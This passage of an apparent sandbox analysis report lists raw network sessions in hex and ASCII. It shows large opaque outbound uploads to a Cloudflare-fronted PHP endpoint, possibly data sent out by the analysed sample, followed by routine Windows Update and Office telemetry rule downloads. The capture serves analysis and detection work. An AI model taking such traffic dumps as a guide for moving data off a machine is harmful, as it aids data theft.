0b ec 16 cc 2f 20 eb 61 c5 3b 7e 8e 81 23 cd 14 45 84 6a b1 7f d2 aa 9f ad cb 0d 66 a9 d6 81 fb 29 87 e3 3c f5 e7 ad Data Ascii: ^tP9!0Va!;@MzwU`oh:}nb/_XqRU u^}v$N44R'GP7p1IfC $3~2JI7Hotq48.[m~+YyN+K1q$%gz8/ a;~#Ejf)<
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: aa 4d bf 35 7d 3c 7e e2 38 e7 dd f9 39 3e 29 fc 01 3c 1d c1 ab 2c 9c eb db f0 e6 b0 1b 69 48 4e e2 63 37 c4 9b 26 33 8d 3e 28 d4 55 2f 8e 74 56 04 4a fe 3e a3 cc 50 10 79 05 e8 78 8e 9f 76 66 74 58 87 86 07 84 bc e4 98 10 c4 f1 06 4a 4c 6c f1 0d 32 8a 1c 8a 63 09 fb ed 8c 23 90 1f 3b 2e 6f 77 8c 98 54 60 20 2b b4 6f cf 39 96 fb a9 13 5e 62 3a 62 db 3f 97 4f 6a 62 ee cb 85 de f9 77 3a c9 7d 66 86 94 b6 26 b9 99 e8 8d df 07 ce 7d 70 6a 32 ee 3c 08 5e 1e 4e f2 e4 e3 2c f5 c1 da da a7 11 ad 88 6b 0a c1 86 69 5f 94 fb bb 21 44 8b 73 ea f8 a0 62 e8 e5 7f 6f 41 15 16 3e 17 17 b2 ce ba 04 e2 4a 21 06 01 fe 1a 88 b1 84 40 ea 1c a3 d0 26 f3 82 84 ae d1 0f 28 b3 f6 c3 cc e6 28 8a bc f5 b1 fd f1 4c 4b 2e c2 dc 5f b4 2b 59 8c 67 3c be ef 31 e2 3b 34 43 4e 53 6c 72 97 Data Ascii: M5}<~89>)<,iHNc7&3>(U/tVJ>PyxvftXJLl2c#;.owT` +o9^b:b?Ojbw:}f&}pj2<^N,ki_!DsboA>J!@&((LK._+Yg<1;4CNSlr
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: dd 04 52 a8 43 1b 4d 68 78 98 13 e2 76 36 7f 9d 33 5b 9d 50 6a c4 ee 96 42 bd d2 60 b5 63 27 7a 60 45 ab 1e 78 cd f0 f7 15 12 8e 00 16 58 cb 7f 08 ac 2f f0 6b f2 83 23 88 42 0a d0 69 5b e0 cf c9 a8 25 69 73 62 58 19 15 5c 31 50 f5 ce db 67 65 e8 b3 da d6 3c 7b ec 3f 6f 05 8e 30 70 0e 3b 83 05 b1 bc 40 73 a1 85 c9 5f fc e7 38 0e c5 f3 42 cb ee 73 cc 90 fd 57 21 dd 1a e9 94 69 41 95 a8 88 de ec cd 08 79 55 84 34 b3 be f9 24 39 62 ca 5c f0 5d 85 a6 c9 80 8e 47 49 e4 21 f2 9a 67 87 de fc 87 82 03 26 7e bf 71 46 7a 58 09 a0 82 8d 32 05 f0 15 6b 75 34 14 8b 01 5b 4f a5 75 54 40 2e c1 d7 4e 13 fa 48 83 5b 2f 43 0c 4b b9 9d 38 11 06 33 c5 bb 6e cf bc 18 4f dd 8c 86 4f 82 64 82 ba 0f 4f 66 04 39 c4 cc 55 71 98 11 8f 89 ed 38 f6 25 ef 48 f5 8d 8b f0 5b fc ce 4d 66 Data Ascii: RCMhxv63[PjB`c'z`ExX/k#Bi[%isbX\1Pge<{?o0p;@s_8BsW!iAyU4$9b\]GI!g&~qFzX2ku4[OuT@.NH[/CK83nOOdOf9Uq8%H[Mf
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 54 78 46 ce c7 1d db 6e f1 58 2b 4f e0 cf 68 97 a9 2a 74 f9 bf 7d 68 46 8c 86 e5 f8 af e2 b4 6a 09 19 7f f8 fc 4e d7 02 b6 aa 04 aa 0b f7 24 50 eb c7 09 9b cc a3 51 ef c5 b5 c6 c1 b7 d4 13 69 21 12 99 ca 13 08 3b 26 c5 3e fc 0f 5f 9e 22 8b 84 60 9f 3c 57 f6 bb 3f b8 f9 5e 7e cd ac 9d 36 4f 9f 9b 56 59 82 11 3b 0c f7 7a f2 9d a4 88 a3 93 5a 28 da bd ad 36 b1 d1 b0 df e8 9b 7a cd f1 de ec ec b6 12 c8 da 41 84 9f c2 bf 21 81 bf ea 10 fb 67 90 28 05 e3 11 6f 5b da 0e e1 d4 14 4e 5e 6a 78 67 8c ea 2a 2b ba a7 90 93 a8 39 ce 71 7d 99 84 b7 ba 47 9a 35 f4 c3 5e 3f 27 43 4b f4 4e 80 db 4a 59 02 53 9d 53 05 fe a8 bd 65 ae 83 36 2d 26 79 e6 ed 06 08 49 f0 36 38 71 19 79 71 df 8b c2 44 18 4f b2 72 49 47 07 c3 b7 54 98 39 3e e4 ca a3 b1 ca 8e d4 6e 51 37 d7 2f de 7f Data Ascii: TxFnX+Oht}hFjN$PQi!;&>_"`<W?^~6OVY;zZ(6zA!g(o[N^jxg+9q}G5^?'CKNJYSSe6-&yI68qyqDOrIGT9>nQ7/
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 8d b7 c6 ea b3 4a 84 12 24 fc 0b 59 ff e2 7a 52 b5 12 1a db ec de 2e 56 be f7 9c 43 7a 25 c6 37 90 40 26 34 94 69 51 b0 97 6e 10 06 62 b4 0d f1 42 0d 23 c6 21 be 1d ee 17 1f 62 2f d5 19 c8 e3 8b 51 57 d2 09 77 0f 9b b5 78 5f 7a 40 c8 74 f2 63 ff a6 5b 66 d7 00 bf 28 aa f6 bf 27 e3 c5 c1 21 c9 47 bb fd 06 85 8b 81 bb e3 5b 45 30 2b 87 98 20 e5 07 70 7c d1 a7 be a8 d3 4e 1f 27 7d a5 39 6b 8a d2 97 1a a3 9b 90 a8 81 b4 62 50 38 c4 87 08 50 84 5a 7b fa 2d c2 0d ad 57 5b 2c a5 ce e9 e2 db 23 68 01 de 85 12 e0 29 4c 7c 77 41 98 94 fb 08 bb 18 b4 d6 7f 24 c6 d0 1f ec 4c 89 f4 3d 6f c2 28 7c 97 ba 64 b5 73 50 be e8 70 03 82 f4 04 0d 4b 21 c4 64 de 9e d0 fa 29 e5 71 5e 7f 15 b2 61 7d c4 04 66 38 4d c6 9c 0e 6e 16 4a 9f 6e cb 98 e5 7a 3d e5 95 f5 ee 41 f9 19 7f 49 Data Ascii: J$YzR.VCz%7@&4iQnbB#!b/QWwx_z@tc[f('!G[E0+ p\|N'}9kbP8PZ{-W[,#h)L\|wA$L=o(\|dsPpK!d)q^a}f8MnJnz=AI
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 20 3f 88 66 aa dc a9 a5 05 33 1f e1 f0 93 2a ed f6 0b d5 a8 b2 7a d6 62 30 3f 0f 89 87 90 ec 3d 0a c2 0c 6b fd dc 17 44 3f d4 6f 95 a1 1f de c3 99 14 71 3c b5 d3 da 5b e0 22 47 36 1b 4f c4 2b 0c b0 c6 82 0a bc cc 62 e2 a2 6f 55 58 77 a9 0e b6 c2 bf 57 c4 f7 c5 6e 88 dd ec 66 a9 f2 06 55 aa 45 7f 6f 32 e3 36 e7 3f b4 1e 1b 7e e8 1e 15 e2 44 a8 df df 3f a2 b4 ca 54 0e 4f 08 51 0b 19 2a 8b 42 d0 77 a7 c7 87 81 b2 30 be 17 f0 9a f4 1c 3f ed c1 f2 fa af 61 d8 fc b7 77 79 17 c0 4d a4 fe 3c 2e 04 8e bd b7 37 23 3e 2f 46 ba 37 7d a8 30 fc 5d 13 2f 50 f0 2d 9b 31 71 b8 60 94 1b 3e 79 40 8f 3a 39 e6 71 fc 49 2d 19 e8 89 4d 03 84 fb a5 82 32 a8 a0 a2 1a 4b 8f 42 16 40 0b 99 c9 5d 00 a5 dd 8f af d7 85 fd 1f ba 33 d5 7f c4 e6 f3 5d 8d 76 fa 51 70 08 a7 3f c0 cf 96 20 Data Ascii: ?f3zb0?=kD?oq<["G6O+boUXwWnfUEo26?~D?TOQBw0?awyM<.7#>/F7}0]/P-1q`>y@:9qI-M2KB@]3]vQp?
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 7c 5c 1c c4 65 af 36 15 66 e8 c5 87 f0 1f e2 62 50 b2 90 fa 82 58 91 ac 71 c4 5c 0a 2f a1 f2 d3 24 fe 4d 8b 64 bd 51 10 a1 55 1a de fb 70 cd 35 c1 54 0a f4 9a 54 a0 34 42 1c 64 23 08 bd 37 f7 b0 92 5b 7f 7c 4a b5 30 3e b0 3e f5 28 09 af 21 dc fe 0e 0f 8c 93 36 cf 4f f0 df 27 7f e4 d9 80 ea 03 2d 02 ef 0b 75 42 bd e7 15 2f 7d 8d 8b a4 db 32 17 22 dc 07 26 4c f5 3e 07 d3 34 d1 35 46 c6 5d ba 20 74 fe e7 74 86 d1 40 d4 27 6d 8e eb 78 cb ba 4d cb 66 07 df 68 4c ab 20 c2 a7 87 f4 03 17 78 ff 9a f1 eb 2d 44 63 13 fa 63 09 9b 45 95 13 f5 ee 03 c9 bc 19 71 d6 af 9e e4 ca 37 83 9b cf 2b d7 07 6c ca 69 37 59 bf e6 14 0a 68 8b ac 20 ee 39 51 88 b6 38 44 08 20 65 86 7d a8 dc 2c 18 73 f5 61 84 70 87 9a c5 83 aa b1 11 d5 2b 78 ea c0 86 31 7b 23 41 98 fb 76 23 db 79 23 Data Ascii: \|\e6fbPXq\/$MdQUp5TT4Bd#7[\|J0>>(!6O'-uB/}2"&L>45F] tt@'mxMfhL x-DccEq7+li7Yh 9Q8D e},sap+x1{#Av#y#
2024-11-21 13:26:28 UTC	988	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1ahlusug0jncnv3su6di5kd9i7; expires=Mon, 17-Mar-2025 07:13:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mbPj0yU1CvDjvJKHI9RzEOWdRR2uab7QyR317HwHehz2n0FB%2FZuAehnZ5Y1HP49JbCp7%2FNkNXJIOm7AB4kwdqOvIpF4fuVv8HAiUZjDe0K2tHedq%2FERsVzAAcYmE945h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6102e2ff5b7c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1977&sent=318&recv=571&lost=0&retrans=0&sent_bytes=2829&recv_bytes=553751&delivery_rate=1457813&cwnd=237&unsent_bytes=0&cid=ebfdabff3650456c&ts=3781&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49710	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b+8HaSoDW3vVDPm&MD=SeklaChs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 13:26:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ee353598-8758-4c3f-814d-18c3925f42e7 MS-RequestId: b01bf074-f78c-4d5f-a85d-c1e1df99ee82 MS-CV: 8snlg5iU0EqsU/gM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 13:26:24 GMT Connection: close Content-Length: 24490
2024-11-21 13:26:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 13:26:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132627Z-178bfbc474bxkclvhC1NYC69g400000001f000000000b14b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:26 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: dc5d8209-b01e-003e-6698-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132627Z-r1d97b99577dd2gchC1TEBz5ys0000000a7000000000bv2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:27 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:26 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132627Z-178bfbc474bq2pr7hC1NYCkfgg00000001m000000000g03u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132627Z-178bfbc474bq2pr7hC1NYCkfgg00000001k000000000kkzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:26 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: b2486168-801e-0048-04ba-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132627Z-r1d97b99577dd2gchC1TEBz5ys0000000a90000000006hz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:29 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132629Z-1777c6cb754mqztshC1TEB4mkc0000000b3g00000000fank x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
